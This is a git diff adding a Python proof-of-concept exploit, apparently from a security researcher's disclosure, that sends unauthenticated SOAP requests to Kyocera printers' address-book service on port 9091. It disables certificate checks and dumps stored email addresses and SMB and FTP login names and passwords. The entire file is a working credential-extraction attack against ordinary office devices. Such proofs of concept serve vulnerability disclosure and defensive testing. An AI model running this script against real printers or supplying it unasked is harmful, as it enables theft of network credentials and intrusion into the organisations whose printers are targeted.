diff --git a/getKyoceraCreds.py b/getKyoceraCreds.py
new file mode 100644
index 0000000..38831c7
--- /dev/null
+++ b/getKyoceraCreds.py
@@ -0,0 +1,54 @@
+"""
+Kyocera printer exploit
+Extracts sensitive data stored in the printer address book, unauthenticated, including:
+ *email addresses
+ *SMB file share credentials used to write scan jobs to a network fileshare
+ *FTP credentials
+
+Author: Aaron Herndon, @ac3lives (Rapid7)
+Date: 11/12/2021
+Tested versions:
+ * ECOSYS M2640idw
+ * TASKalfa 406ci
+ *
+
+Usage:
+python3 getKyoceraCreds.py printerip
+"""
+
+import requests
+import xmltodict
+import warnings
+import sys
+import time
+warnings.filterwarnings("ignore")
+
+url = "https://{}:9091/ws/km-wsdl/setting/address_book".format(sys.argv[1])
+headers = {'content-type': 'application/soap+xml'}
+# Submit an unauthenticated request to tell the printer that a new address book object creation is required
+body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration25"""
+
+response = requests.post(url,data=body,headers=headers, verify=False)
+strResponse = response.content.decode('utf-8')
+#print(strResponse)
+
+
+parsed = xmltodict.parse(strResponse)
+# The SOAP request returns XML with an object ID as an integer stored in kmaddrbook:enumeration. We need this object ID to request the data from the printer.
+getNumber = parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body']['kmaddrbook:create_personal_address_enumerationResponse']['kmaddrbook:enumeration']
+
+body = """http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list{}""".format(getNumber)
+
+print("Obtained address book object: {}. Waiting for book to populate".format(getNumber))
+time.sleep(5)
+print("Submitting request to retrieve the address book object...")
+
+
+response = requests.post(url,data=body,headers=headers, verify=False)
+strResponse = response.content.decode('utf-8')
+#rint(strResponse)
+
+parsed = xmltodict.parse(strResponse)
+print(parsed['SOAP-ENV:Envelope']['SOAP-ENV:Body'])
+
+print("\n\nObtained address book. Review the above response for credentials in objects such as 'login_password', 'login_name'")